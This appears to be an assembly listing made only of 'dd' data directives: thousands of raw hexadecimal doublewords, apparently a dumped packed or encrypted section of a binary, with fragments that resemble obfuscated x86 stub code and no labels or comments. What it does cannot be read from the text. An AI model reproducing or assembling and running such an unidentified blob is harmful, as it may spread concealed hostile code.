		dd 0B706EB88h, 812D52B6h, 17B2E876h, 5FA811F9h,	43741094h
		dd 87FBC394h, 96E6B0A3h, 47AD6556h, 785C5C3Dh, 0ABF77AF2h
		dd 7248BD9Fh, 0DCEB3DE8h, 3E199E23h, 0E6005A09h, 0B282C262h
		dd 85573A61h, 84EB0918h, 7DE6302Bh, 0AD072105h,	9441E820h
		dd 20682C35h, 0F4000000h, 0E4760D6Fh, 9F05D140h, 90645EBDh
		dd 60CB3050h, 2EBFE53Ah, 35C733DAh, 991E2Ch, 0DEE60000h
		dd 8372F8D5h, 0A6AA447Bh, 2E92ADF7h, 0AB1F2A7Fh, 5F84B1C2h
		dd 941866D7h, 81BCC9C3h, 0E3780452h, 7012F579h,	0AF934266h
		dd 754850BDh, 64B362EEh, 4E52BB55h, 709CF877h, 0C743865Fh
		dd 36C00h, 407F8B00h, 16237293h, 0F8D120CDh, 4D748A7Bh
		dd 1C237996h, 926970C7h, 43ACB78Eh, 33DC073Ah, 9C09EAE5h
		dd 54A5BE8Bh, 0AF741094h, 0CFBC584h, 0DDADE94h,	941DED99h
		dd 46EE62C3h, 0C3941D02h, 6559BD85h, 0C90411FEh, 691D9123h
		dd 0FEC3941Dh, 0D7E23584h, 0DE46BE39h, 0A514F8D5h, 72FE6550h
		dd 0A10B0BCDh, 37D1D692h, 948BDEAFh, 0F78C10C3h, 0B864DB65h
		dd 0C7251CD1h, 2B32C26Ch, 4BD9F67h, 5D8F2C3Eh, 0FBD55786h
		dd 8B09EA04h, 14F8D5DEh, 0F7C2D7C6h, 2C21CF03h,	2975EEDBh
		dd 7F4A5D53h, 0D05DD11Bh, 8BD9F19h, 92BC8B9Dh, 6E9F4DB5h
		dd 0BFF2928h, 60E7ABDBh, 0AB3A7E3Ah, 3506B851h,	41912Ch
		dd 6F7F0000h, 5AE4760Dh, 71E34BE5h, 83ADCD3Eh, 9F9942F3h
		dd 63D72BBDh, 616F83C3h, 0DBF2023Ah, 477E8677h,	0E9F91F3h
		dd 48AC93E9h, 8F98C795h, 0B94855BCh, 8E1F99B7h,	367CD37Ah
		dd 0EFFE2Ch, 0BD060000h, 0A4C8F01Eh, 34D2588Bh,	0DF1CCD9h
		dd 0F379445Ch, 0EECD9E4Ch, 98B6C857h, 81BCC9B0h, 6C59AA5Bh
		dd 8A9F4EC2h, 41A12549h, 0DC26C394h, 3CE97BF8h,	0A62ED8E9h
		dd 0C39444F7h, 0CA102D76h, 0CF42ED95h, 0DF0D8EDEh, 94663357h
		dd 0A04EB4C3h, 4C5845C7h, 37BF8D71h, 0C3946653h, 5C8AEED4h
		dd 43A9A4F1h, 81754C52h, 4FAFA34Dh, 0A0C4162Dh,	0BD9F51B9h
		dd 14A5E45Bh, 5AA73BE7h, 886BAFACh, 0A7B5CEAEh,	6C0DFE0Fh
		dd 0E10B4F44h, 34D2EF34h, 0E314BBAh, 0A5C95BD5h, 3073CF21h
		dd 5BB25CA6h, 0ADF17E41h, 5E8C69EAh, 1BB13F4h, 0CED80000h
		dd 74836CF7h, 22719E45h, 0C3DB342Fh, 728667FCh,	3A219043h
		dd 7DE6D923h, 0ADB68B90h, 0DA193440h, 76EDD82Dh, 0BBCF6785h
		dd 0CC584A9h, 0DADEC7BDh, 7A8F78FBh, 8E18944Fh,	941D6266h
		dd 739DE5C3h, 0E30D6F8Dh, 9943A79Ah, 0A428196Ch, 2C90AFF5h
		dd 905AF4E8h, 9F05BD1Ch, 0E62EDFBDh, 0F8C241EFh, 0C1D7C614h
		dd 20CE02F6h, 60CB3454h, 32B3E13Ah, 35C72FDEh, 0A71A2Ch
		dd 0DEE20000h, 0A514F8D5h, 549C605Fh, 0C39418E5h, 0DD063344h
		dd 66EAE730h, 7FED7606h, 60D10EF7h, 589BFF42h, 77E57E1Eh
		dd 0D3E238E5h, 4B91F06Fh, 0D7AD802Bh, 0CFF60AF3h, 0D1575521h
		dd 0A298446Dh, 0D64803B8h, 2B736944h, 0AA444178h, 33DD3158h
		dd 0B7FE2FB9h, 9BE16C9Ah, 4A4EBFA4h, 291293D0h,	280CEFEDh
		dd 6B60A1DFh, 1BFC568Ch, 0D1h, 76EDE42Eh, 0A0B38E99h, 0DE053447h
		dd 9EAE931h, 0BAB9849Ch, 0E339D41Bh, 91E607DCh,	4E56B7ACh
		dd 0F603EC77h, 79F318DBh, 84A991F5h, 31A716C5h,	78FBDADEh
		dd 944F7A8Fh, 0F8D5DE6Ch, 0CC708372h, 26AA8EBBh, 1DCC44E2h
		dd 78263D08h, 3972E924h, 70C37353h, 0A55E2A3Ah,	0E9D1C394h
		dd 62B667F5h, 0A387BEC6h, 0A55135B9h, 0ECD6C394h, 8B04A842h
		dd 9CBD843Ch, 67EBE633h, 7F465A23h, 0EF53B78Bh,	1BD8F53Eh
		dd 0D8AC99EAh, 0A690408h, 7776ACBDh, 0AB48858Eh, 0A81C297Ah
		dd 369AB9C1h, 591A410Bh, 0A5244335h, 0DAEBCD7Bh, 3440E035h
		dd 0B23E2519h, 0EB053443h, 50241162h, 14FFh, 7A806D00h
		dd 7593F75Bh, 4150BD8Fh, 0CABE859Dh, 0C37492F6h, 0FDD4DE55h
		dd 7A57A009h, 0E6D12796h, 6F52AB12h, 0D7EE329Bh, 5F66BA63h
		dd 0C5FC02EBh, 40798871h, 0CFFA0DFCh, 4568CF7Bh, 89000041h
		dd 8952242Ch, 4C281E2h,	83000000h, 148704EAh, 0C895C24h
		dd 0E3895324h, 4C381h, 0EB810000h, 4, 5C241C87h, 81242C89h
		dd 4ECh, 243C8900h, 66700CBFh, 0EF814704h, 300D31CBh, 7862EF81h
		dd 814F1D4Dh, 0D27FCCE7h, 0A0EF811Eh, 890FF19Ch, 8B545FF9h
		dd 0C483242Ch, 8BB5304h, 81000000h, 67025EBh, 81EB0107h
		dd 67025C3h, 5B0B8907h,	5D2434FFh, 8B04C483h, 8957240Ch
		dd 4C781E7h, 83000000h,	3C8704C7h, 0B8E95C24h, 0C8FFFAC8h
		dd 6DE6E444h, 10B5E6B8h, 0FFC50306h, 59C3B2E0h,	31A157Eh
		dd 63ACF444h, 0F66AFF40h, 1F42947Dh, 0D807724Bh, 0FBCD8225h
		dd 8A453A28h, 6CA10606h, 0B649C26Dh
		dd 3D2ED7Ah, 0CF7174Dh,	16C0DE43h, 446A7954h, 7C3B3F7Dh
		dd 0D24BDD5Ch, 5EDC6C6Fh, 6055A81Bh, 4A80B164h,	0EBE24E13h
		dd 80781B22h, 28DC7636h, 3D65BE78h, 0B26CDF64h,	0A63C4A67h
		dd 0E40CDB4Ah, 7DE2086Fh, 0E9C08B4Dh, 10h, 0BE7DF403h
		dd 1DB6E394h, 5C7EE93h,	0E7AED871h, 5BDBD83h, 7500060Bh
		dd 0D1BD8309h, 60B29h, 53501974h, 0FCB8C08Bh, 89000003h
		dd 0B2A3585h, 1A9D8D06h, 0FF060DB3h, 83585BD3h,	0B29D1BDh
		dd 17740006h, 0FCB85350h, 89000003h, 0B2A3585h,	99D8D06h
		dd 0FF060DB0h, 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0E9C6C356h,	0Dh, 4FAF4E5Dh
		dd 0FF16577Dh, 1D330446h, 56006A0Eh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 103C8F79h
		dd 8B97B604h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0AA2E12E5h, 0C158D36Fh, 0CB816614h
		dd 0BD837C1Eh, 60B0B19h, 63840F01h, 0F000000h, 1181h, 0B8C0F00h
		dd 0E9000000h, 6, 6262B61Eh, 0BD832296h, 60B0E31h, 3F850F00h
		dd 80000000h, 0BD8335EFh, 60B2715h, 7D840F00h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 9EBEC357h, 8C212EABh, 7E91703h, 88000000h
		dd 0C014DF08h, 1FE9C200h, 0E9000004h, 0Eh, 64315148h, 5B23C443h
		dd 0BAB11C52h, 0FE81h, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0DA9009C3h, 0FD2A22Eh
		dd 286h, 66D88B00h, 0F381D68Bh,	57FF71EFh, 0D5270D6h, 49D6C3BDh
		dd 0B5B6CF3Fh, 19470A6Bh, 0F4A26B12h, 0D40CF435h, 0F8C840E0h
		dd 623DC3B8h, 0B95F15A4h, 20B6C5ADh, 4FE2057Eh,	609DF4C5h
		dd 5CAB4D18h, 0B5B6C5C9h, 3ADD89B7h, 0E37D4F28h, 6270A6E9h
		dd 3DE1DA2Ah, 5C0C4A11h, 0B5B6C029h, 0B5B62DE0h, 34EBC5DAh
		dd 0A50E2F80h, 0E6B6AFB0h, 0B5B6C6B3h, 76EDE5ADh, 91EA4C8Dh
		dd 91F2446Fh, 0B5B6D0B1h, 76E586DAh, 0B25ECAF0h, 0E5B6C5B6h
		dd 1225818Eh, 30B94132h, 0B5B6C5D0h, 109516EAh,	0DFECF8B9h
		dd 0B65E95DAh, 95B6C56Dh, 3CEE06EEh, 34B2E11Fh,	0A9B2E1E9h
		dd 0F5B6C5D6h, 9977063Bh, 97248DF1h, 3EC3E0A5h,	785045ADh
		dd 0B5BA2D26h, 4F5EC55Bh, 666A7FB7h, 397C2DE1h,	580D1A89h
		dd 0EFE4FDB4h, 740CA38Ah, 0B5DC55C8h, 0B5B52DE7h, 0EC96C55Bh
		dd 0F93F9C6Eh, 0F137C1F2h, 0B5ABC14Fh, 0E4F7C5B5h, 0CCAC5619h
		dd 2CD3255Eh, 3EFC3F0Eh, 5E37A388h, 0B4B98ADDh,	0DF48E19Ah
		dd 0B65E976Bh, 95B6C5B5h, 3CEC0680h, 34B2E139h,	0A0B2E1F2h
		dd 0F7B6C55Bh, 5D5E06FFh, 0B0B6728Eh, 0B5B6C767h, 5DE7C5DFh
		dd 0B5B6C5D9h, 0EC759C4Dh, 0B192893Fh, 0B19281DAh, 0B5B6C5BBh
		dd 11759497h, 0BD3D45EAh, 5DE4C5DFh, 0B5B6C5D9h, 0EF759F4Dh
		dd 0B192913Fh, 0B19281DAh, 0B5B6C5B0h, 0A8759794h, 3E1F456Fh
		dd 0FA95DDF3h, 6C09CAFBh, 0D36E4E0Bh, 0DF4A8D3Dh, 0B65E905Bh
		dd 95B6C5ADh, 3CEB068Bh, 34B2E107h, 0A2B2E1F1h,	0F0B6C5DAh
		dd 0BDE00638h, 7E365DFBh, 11CC7F50h, 0B40EBF4Eh, 0DFB6C5D6h
		dd 0B65E926Bh, 95B6C5B5h, 3CE90685h, 34B2E111h,	0AEB2E1F2h
		dd 0F2B6C55Bh, 3E8F06FAh, 0BD5243E0h, 0BE5E2BF0h, 37B6C5B5h
		dd 327778BCh, 681D86B4h, 49E18216h, 55009F00h, 3CD176FDh
		dd 0B95EE1DAh, 57B6C56Bh, 51C1B5FDh, 0D3219BF1h, 5CA3DD95h
		dd 0B5B6C5B0h, 58C37BB7h, 0D3ECFD2Dh, 35B91C5Ah, 0B5B6C567h
		dd 0B5B040BAh, 3EB9C5DAh, 0B5B6C56Dh, 0BAB20440h, 0B5B633DEh
		dd 0E3B6AFADh, 0B5B6C63Eh, 76E8E56Bh, 91C24CEBh, 91F244DEh
		dd 0B5B6D869h, 76E083B6h, 0E61FFDABh, 2845D70h,	6C0CE9C8h
		dd 0BAD7DD8Ah, 0B5B6C73Ch, 0EC424FDAh, 5DE7C507h, 0B5B6C5B5h
		dd 0EC759C7Bh, 0B1928924h, 0B1928157h, 0B5B6C577h, 8B7594F4h
		dd 38BC2C2Ch, 30A03847h, 356E7AB9h, 30B9AD62h, 0B5B6C489h
		dd 0B134CA81h, 0D3B6C56Bh, 0EE995E0Eh, 0D3B7BC51h, 345FB8D7h
		dd 0B5B6C549h, 0B034CADBh, 0FB6C5ACh, 0F76D0253h, 0DE840ACh
		dd 0B5B7C3A5h, 0B5DCC5DAh, 0B5B52D38h, 0E896C5B6h, 0D93F9898h
		dd 0F137C189h, 0B5ABC1F2h, 0E0F3C56Bh, 2D62C176h, 53233879h
		dd 5C9B0DD1h, 0B5B6C5B3h, 0ADF04EF2h, 0B55A2C8Eh, 37B9C5D6h
		dd 0B5B6C56Eh, 0B8B3A40Eh, 0B5042C9Bh, 0B5DCC56Dh, 0B5B52DE0h
		dd 0EB96C55Bh, 0C13F9B6Eh, 0F137C1F2h, 0B5A3C14Fh, 0E3F0C5B5h
		dd 0D3E46619h, 0EC4E1FE6h, 5DE1C5DCh, 0B5B6C558h, 0EA759A8Dh
		dd 0B192B95Fh, 0B19281EAh, 0B5B6C5A8h, 0D375929Dh, 0F411B0F5h
		dd 3446258Eh, 0B5BB2D0Fh, 4990C5ADh, 28C1FA45h,	0E2D53CD0h
		dd 0E76B7159h, 9676175Bh, 0EEED8411h, 0BECF46D0h, 0F032CAA4h
		dd 0DFB6C5ADh, 0B65E94D6h, 95B6C56Bh, 3CEF06ECh, 34B2E196h
		dd 0A9B2E129h, 0F4B6C5B6h, 70EC060Ah, 0DD38424Dh, 5C2F0DAEh
		dd 0B5B6C57Bh, 2567B2E6h, 32E783A8h, 6D98B5C4h,	65C8A373h
		dd 0DE8409Ch, 0B5B7C3BDh, 6F3DC5D6h, 0E7B6AF23h, 0B5B6C65Dh
		dd 76ECE5DAh, 91E24C37h, 91F244B2h, 0B5B6DC5Fh,	76E487ADh
		dd 39CD6C06h, 34D08316h, 35B6FA46h, 0ED0FC610h,	389A7864h
		dd 0A508B033h, 330B485Dh, 8EB0D511h, 85B1B12Eh,	0F27F1464h
		dd 0B5DC305Eh, 0B5B52D89h, 0EE96C56Dh, 0E93F9E75h, 0F137C17Fh
		dd 0B5ADC189h, 0E6F5C5D6h, 0AED162A8h, 1E09FC8Ch, 6E37A323h
		dd 0B5DCA42Fh, 0B5B52DE4h, 0EF96C55Bh, 0E13F9F6Eh, 0F137C1F2h
		dd 0B5A1C14Fh, 0E7F4C5B5h, 0F148D119h, 0B63DCAAFh, 35B6C5B6h
		dd 8350294h, 0B3BDCEB4h, 3D32CAD7h, 0DFB6C56Bh,	0B65E90B5h
		dd 95B6C5DAh, 3CEB0630h, 34B2E1DAh, 0AEB2E11Fh,	0F0B6C5ADh
		dd 12A90683h, 245304C0h, 835E2F8h, 0B3BDCBEBh, 0ED33CA6Dh
		dd 0DFB6C5B6h, 0B65E935Bh, 95B6C5ADh, 3CE80688h, 34B2E11Fh
		dd 0ACB2E1F1h, 0F3B6C5DAh, 6DAF063Bh, 94DB5AF0h, 2964443Dh
		dd 0A00B4682h, 0B5B0CEF1h, 0B5E64164h, 0B5DCC5B5h, 0B5B52D8Fh
		dd 0E896C56Dh, 0D93F9875h, 0F137C17Fh, 0B5AAC189h, 0E0F3C5D6h
		dd 0C700EBA8h, 0BD0109C9h, 5C4F004Eh, 0B5B6C5DBh, 5DE6C5DCh
		dd 0B5B6C558h, 0ED759D8Dh, 0B192815Fh, 0B19281EAh, 0B5B6C5ADh
		dd 0C875959Ah, 5263A7Dh, 84C20737h, 835CE96h, 0B3BDCEB4h
		dd 0EC33CAD7h, 34B6C56Bh, 0D4F77166h, 0B5DC98E2h, 0B5B52D38h
		dd 0E896C5B6h, 0D93F9898h, 0F137C189h, 0B5A1C1F2h, 0E0F3C56Bh
		dd 0A1656E76h, 76614ECEh, 5DE4C507h, 0B5B6C5B5h, 0EF759F7Bh
		dd 0B1929124h, 0B1928157h, 0B5B6C576h, 317597F7h, 56D9792h
		dd 75B06DC6h, 0B5862C34h, 5E37C55Bh, 9A0AC4D5h,	0F1C47E8Bh
		dd 0DF79EF95h, 0B65E93B5h, 95B6C5DAh, 3CE80633h, 34B2E1C2h
		dd 0ADB2E11Fh, 0F3B6C5ADh, 0D49A0680h, 0D3DA22A0h, 83B163Eh
		dd 0B3A67D4Eh, 0BF448E0h, 0A80EC3A6h, 86CDFF07h, 0BEA48028h
		dd 7479EED0h, 7864ED0Fh, 0B033389Ah, 485DA508h,	0D511330Bh
		dd 0B12E8EB0h, 146485B1h, 0E983F27Fh, 83A4F305h, 10B85EBDh
		dd 0D740006h, 4DD78D8Dh, 1B8060Bh, 0FF000000h, 6A40E1h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0A3FCD6C3h, 68C0Fh, 0EA810000h, 44856454h, 8354D380h
		dd 6A2DE8h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 5BCD92C3h, 18820FD4h
		dd 0F000000h, 1284h, 0DE900h, 0B5180000h, 33143080h, 4309C6ADh
		dd 8B1DD51Bh, 39EF80C0h, 5BDBD83h, 7500060Bh, 0D1BD8309h
		dd 60B29h, 53501974h, 0FCB8C08Bh, 89000003h, 0B129985h
		dd 819D8D06h, 0FF060DB3h, 83585BD3h, 0B29D1BDh,	17740006h
		dd 0FCB85350h, 89000003h, 0B129985h, 229D8D06h,	0FF060DB0h
		dd 6A585BD3h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 6B03C350h, 0F56E5F4h, 0E381D8B7h
		dd 70959029h, 8D8DC08Bh, 610C050h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0FC35040h, 0C0976803h, 3396D32Dh
		dd 0B2489B5h, 4D8D8906h, 89060B17h, 0B0FE19Dh, 1985C706h
		dd 60060B01h, 6A000060h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 4A8FC350h, 8F0F3D6Bh
		dd 8, 2830Fh, 61600000h, 100985C7h, 60Bh, 13E80000h, 6A000000h
		dd 5E8C46B7h, 447F7BB2h, 887ECE7Dh, 0F38389B4h,	0B58B9C19h
		dd 60B21C1h, 49B5FF5Fh,	0E9060B1Ah, 7, 419C6932h, 0FF52ADA7h
		dd 0B0AC595h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0FDF8ED4h, 886h, 28D0F00h, 60000000h
		dd 6880F61h, 89000000h,	0B04ED85h, 0FF006A06h, 0B32DD95h
		dd 0EBC08B06h, 0E49B8E0Dh, 0C06716CFh, 13F8F7DDh, 24EB4FC5h
		dd 9 dup(0)
		dd 0BDE9h, 64B58900h, 8B0610C0h, 0B0B1985h, 39858B06h
		dd 8D060B09h, 10C0AEB5h, 7E858D06h, 0FF060E4Dh,	0E855C3D0h
		dd 0
		dd 0B4ED815Dh, 830610C0h, 0B0B19BDh, 850F0106h,	2Ch, 0C064B5FFh
		dd 858B0610h, 60B0939h,	81273635h, 3CD0FF34h, 0A850F01h
		dd 0B8000000h, 1, 47E9h, 0E9C03300h, 40h, 0B58D1C6Ah, 610C068h
		dd 64B5FF56h, 8B0610C0h, 0B093985h, 27363506h, 0D0FF3481h
		dd 8D0CC483h, 10C068B5h, 14468B06h, 8304E083h, 840F04F8h
		dd 7, 5E9C033h,	0B8000000h, 1, 0B19BD83h, 0F01060Bh, 785h
		dd 0E9C35D00h, 2, 858DCF5Dh, 610C08Dh, 0DD98589h, 98E9060Bh
		dd 94000000h, 5000000h,	1000000h, 28000000h, 200000Ah
		dd 20h dup(0)
		dd 2B000000h, 0E94E57BBh, 0BB0h, 10C36E68h, 0BD35E906h
		dd 7B68FFFAh, 0E90610C4h, 0FFFABD2Bh, 10C56B68h, 0BD21E906h
		dd 0DC68FFFAh, 0E90610C5h, 0FFFABD17h, 10C75568h, 0BD0DE906h
		dd 0CE68FFFAh, 0E90610C7h, 0FFFABD03h, 10CB0968h, 0BCF9E906h
		dd 668FFFAh, 0E90610CCh, 0FFFABCEFh, 0AEB58C96h, 0D81B3641h
		dd 76EDDC2Fh, 0A1B28199h, 0D2013C44h, 9BE17C63h, 494EBFA4h
		dd 0F63EEF74h, 9EEB04DFh, 0A14BB0A3h, 84DF790Dh, 997FCEC5h
		dd 72F8D5DEh, 7FF14DCDh, 90BE692Fh, 89C4D1B8h, 30700C6Ah
		dd 0C622E28Ah, 33391D0Fh, 9F4036BBh, 4F3307BDh,	614EE7E7h
		dd 6766323Ah, 0EAE730DDh, 1A042266h, 2C355FF3h,	2FDEh
		dd 0D6F2600h, 0D140E476h, 5EBD9F05h, 39355DBFh,	6E25D2E1h
		dd 0F004F5C1h, 391D71C5h, 0B1ED9D55h, 78383A60h, 9D76976Dh
		dd 0EC532C35h, 0BD000000h, 14F8D5DEh, 9C605FA5h, 19EDD82Dh
		dd 896A67B0h, 9418DE65h, 8A9302C3h, 618FC3B7h, 0BCAE9BECh
		dd 0E6CEBA32h, 0B82C3C6Bh, 3C6BE6CCh, 0BA807F43h, 0E93AEB8Ch
		dd 6C3068DCh, 94E105D7h, 344260F8h, 0CC4602AAh,	0F1C93A60h
		dd 0E52BDF46h, 30DE18BFh, 2A74EFD3h, 8B23C952h,	446DD5E1h
		dd 68FA605Ah, 72BB80C4h, 15330730h, 6F56AA5Bh, 0B075EFDh
		dd 38004DDh, 9FE502E5h,	61D5E035h, 403EC92Dh, 738C6B80h
		dd 9803097h, 66B00000h,	0C1BF46Fh, 0BAC9263Dh, 6BB35C87h
		dd 1A1E8F54h, 5299383Bh, 855E61BBh, 352E1368h, 62F1CCD8h
		dd 9E457085h, 1377FF6Dh, 94C584DEh, 1EBDBF25h, 0B21EDFC6h
		dd 3C4831BCh, 1266E701h, 370BADF8h, 3D11FFE2h, 81BCC926h
		dd 9AA8E45Bh, 8CDC38ECh, 0CB74FEDDh, 0FE0D9471h, 271B7FC3h
		dd 6F966E09h, 40E4760Dh, 0BD9F05D1h, 5090645Eh,	3A60CB30h
		dd 0AA2EBFE5h, 0A81C237Bh, 0A940BA54h, 802C35C6h, 0D5h
		dd 0ED5DE6Ch, 941DE2E6h, 391D65C3h, 2174A133h, 1DB4D010h
		dd 897BC394h, 184D5BBFh, 29C73B84h, 99EA1B21h, 718B82ACh
		dd 0A16AFA4Eh, 77C39435h, 0C3D27E86h, 997492F6h, 26A2B18Ch
		dd 7997A2F7h, 0C2B68394h, 0A349D2AAh, 3195E411h, 0CF0D4EBh
		dd 70290FC8h, 683C1183h, 312336BEh, 3E04BD9Fh, 18237925h
		dd 405540D2h, 0A34D8175h, 6C8ABAD3h, 1DCF3344h,	4E95A8F0h
		dd 0EB645BA1h, 8C6AFAB5h, 7377C83Ah, 0A5000008h, 0CF97A51h
		dd 0FA2BC8F9h, 0A44192AFh, 13FC675Eh, 962D3609h, 6954AC4Fh
		dd 39041D8Ah, 8CBBCD3Ah, 506DB657h, 7AF27E83h, 0C584D90Eh
		dd 0BD4A3281h, 5401801Eh, 1B6CA682h, 311CCA2Eh,	0D906D4EBh
		dd 49804D14h, 0F56E985Bh, 21320F18h, 0F8D5DED3h, 0F050A514h
		dd 3A25A9A4h, 3EC0D9D4h, 75694DE8h, 57ECB0EEh, 7B3A6185h
		dd 0CF33BD84h, 0AAA7F01Dh, 0F603F27Ch, 629618DBh, 0A83A7B7Fh
		dd 7EF2961Eh, 0D753A7Bh, 0BBC0DBE3h, 52BCD7B8h,	7ED8ACC0h
		dd 6BAF3A7Bh, 809BE1BDh, 0CADDC85Ah, 19370BFFh,	7066784Dh
		dd 92F5CD44h, 0B87CF554h, 618517C2h, 0A38F5E65h, 0DA2990EAh
		dd 277549E7h, 73A6CE1Ch, 0F4DD846Fh, 0C5303A8Eh, 0CB0A0EB6h
		dd 12F0347h, 9644DFBDh,	89E2761Eh, 6BF1C9E7h, 875C69BAh
		dd 27201D66h, 2C509E83h, 833D9270h, 0B5000007h,	1C896A61h
		dd 0CA3B3809h, 0B45182BFh, 638C576Eh, 863D2619h, 5964BC5Fh
		dd 29146D9Ah, 0FCCBDDCAh, 407D8667h, 6A826E93h,	0C584D81Eh
		dd 6FBA2291h, 77E4760Dh, 5052F48Ah, 0BD346C7Eh,	3C31A453h
		dd 58CC9E48h, 0BD84B373h, 0DA64F6CCh, 0D56E3965h, 0CF03F7C2h
		dd 97167030h, 0B0819479h, 63342A3h, 83BECBB2h, 62371844h
		dd 8C43C786h, 712h, 1AD9F002h, 0B4AF9AEDh, 0E271485Bh
		dd 1DC6FD05h, 4E95A8F0h, 0F70DE0F7h, 0A5FA2BC8h, 5AAA5B98h
		dd 217F063h, 0DDF2C37h,	84D8ED99h, 2D9362C5h, 0E4760D6Fh
		dd 845E5B40h, 344CB9BDh, 1A60DF09h, 28586BD0h, 702CE964h
		dd 9CE914D6h, 97E4B2A1h, 9C980A57h, 0AB9EB984h,	14C63A65h
		dd 0CE388A7h, 0A7FF5303h, 0E08AA498h, 7BC72C4Ch, 0E73FEE3Ah
		dd 152871D8h, 44C36DA1h, 0F401EC7Eh, 0F71175D9h, 0C7B2D313h
		dd 33613A7Bh, 0E6AF5EB2h, 429A2C2Fh, 62000000h,	0E5770C6Fh
		dd 635AAA5Bh, 1D5931C5h, 29BBC394h, 941DC185h, 91E946C3h
		dd 0A3A04EA2h, 0D761EB5Fh, 941D2B5Fh, 0A846BCC3h, 941DACDCh
		dd 0AA3B79C3h, 400CB756h, 79232h, 0C87A0000h, 209h, 0C233BD50h
		dd 0D83C80BDh, 941D7C08h, 0F1AF3C3h, 160A4E32h,	0C4F88DF8h
		dd 0D1E036B8h, 77BE6FFDh, 5B998181h, 9EF2967Bh,	3CEAD52Fh
		dd 0CA0F3AB2h, 3A00BD9Fh, 261B01C5h, 0D1ABECCBh, 8416A04Ah
		dd 0DEEB6460h, 7997EB89h, 0D5DAC8EDh, 0F145BDF7h, 9258E3B9h
		dd 2F30DB00h, 2C6EE57Ch, 0ABE3A024h, 0E2082787h, 1DCAAA8Ah
		dd 971FCD21h, 87AB35F3h, 0EE00E74h, 0A6FAFEE6h,	0EFF71F9h
		dd 4206CE03h, 0C5FDA4B6h, 0CF231268h, 0B6FD891Dh, 872FDA4h
		dd 0C2D7C614h, 76836CF7h, 0A7FA8C5Bh, 0C9394221h, 59976h
		dd 407F8B00h, 16237293h, 0F8D120CDh, 4D748A7Bh,	1C237996h
		dd 926970C7h, 43ACB78Eh, 33DC073Ah, 9C09EAE5h, 54A5BE8Bh
		dd 0DA741094h, 0CFBC584h, 0F8D5DE94h, 66881414h, 5461B21Eh
		dd 54488C70h, 72C77486h, 0B0525AF4h, 4AE76F99h,	0F6BD9FAEh
		dd 73C7F207h, 6F66AE1Fh, 8A89A79Bh, 9D11D225h, 3A619FE9h
		dd 5C20047Eh, 2EDF0478h, 691FE8E5h, 9E865CD1h, 520D3B4h
		dd 6100000h, 0ACFB14CFh, 5AA9469Dh, 0B13FC67h, 0BAFE2F34h
		dd 0F2F9589Bh, 253E011Bh, 558EB3C8h, 82516CB8h,	3E251065h
		dd 0F3971FCDh, 74C584DAh, 1EBD1F85h, 8AE879B4h,	0F3971F81h
		dd 74C394EDh, 11FC2A0Eh, 0F223C904h, 2F4795ACh,	0C394ED5Bh
		dd 0D038D62Ch, 60B41C69h, 0A79BBAC0h, 1D6C9943h, 0CA64582Ch
		dd 0F9E9846h, 0ED359DE6h, 0CA2E62D6h, 266E9F29h, 96675B2Fh
		dd 0A799B78Eh, 3240FB86h, 2AA3h, 0D6F4D00h, 7940E476h
		dd 0F6BD9F2Dh, 5828388Ch, 8D3A60EDh, 0CB629617h, 0E62C35E0h
		dd 49h,	44E87Ah, 873A60E1h, 6FAF95B3h, 40E4760Dh, 0BD9EE1D7h
		dd 73C08635h, 44273D04h, 8755ADAAh, 21320F16h, 60C3CCBDh
		dd 0F93A4F3Ah, 60C31175h, 0DDAC963Ah, 370BFFCAh, 90E700D3h
		dd 3B4ABBA1h, 9768E00Eh, 436h, 760D6F31h, 46D40E4h, 98E2BD9Fh
		dd 7B56A352h, 839445CDh, 11BC2B6h, 81AD4A3Eh, 2EB63388h
		dd 7C4D5C2Dh, 0E5D82188h, 0DDD73D11h, 5C56BED0h, 0B094CB51h
		dd 1FD53421h, 0C2DAE20Ch, 263BB3B9h, 37446BF5h,	0A2F710C3h
		dd 0EC192397h, 0E125A994h, 17310C18h, 0FC6EF587h, 76EE5D68h
		dd 64E8D24Eh, 0A62ABBF9h, 76852F77h, 0BF93F75Bh, 99ED01CBh
		dd 6E2E4AAEh, 37163014h, 520CD7E2h, 832B314Ah, 5041B6E2h
		dd 0FAA3176Bh, 0C2F109A9h, 52261A7Eh, 0E33B91EBh, 0A514F8DCh
		dd 0B1916550h, 0E5106A7Bh, 259A1EAFh, 0ED8EEE0Eh, 53F3DFA7h
		dd 81B372A9h, 613B83ADh, 0CD9C10DAh, 25A4C98h, 0B9CA3B38h
		dd 4B51388Ch, 0A2408074h, 4D6D573Dh, 7CAA8E3Bh,	9721AB3Ah
		dd 5CC66B1Fh, 6886FC22h, 0E83090E5h, 21053840h,	0DE05795Dh
		dd 0A3F2FC80h, 8AEE2296h, 0F0F9CC60h, 0BC235C57h, 0E3B14A23h
		dd 6FEC1A3Fh, 0ADF6A72Bh, 0BB312C90h, 0E75AA504h, 58A28D1Ah
		dd 3959748Dh, 2082AC80h, 198D1FA5h, 1829F16Dh, 0D2AD98ECh
		dd 1E7E3EE8h, 6A5FD705h, 0FB6622C7h, 66B35C87h
		dd 0ED36E76Bh, 0B0043345h, 8EC6A35Ch, 0B7C528C6h, 0C6D68053h
		dd 0BA07AFBDh, 8B682D26h, 931BA5B7h, 0C3324F7h,	0B5F50278h
		dd 731CF770h, 8DA5AD5Bh, 0C33AFFDh, 0F77D8828h,	0AF85C165h
		dd 300A0C33h, 0BF052416h, 843B01E7h, 320E1F8Eh,	82BFC498h
		dd 48E6DA3Eh, 3AB1h, 0D6F5F00h,	8D77E476h, 1396570Fh, 37412BC5h
		dd 444501A5h, 2BCAC394h, 0A3DE03EEh, 608EE2F7h,	9F732594h
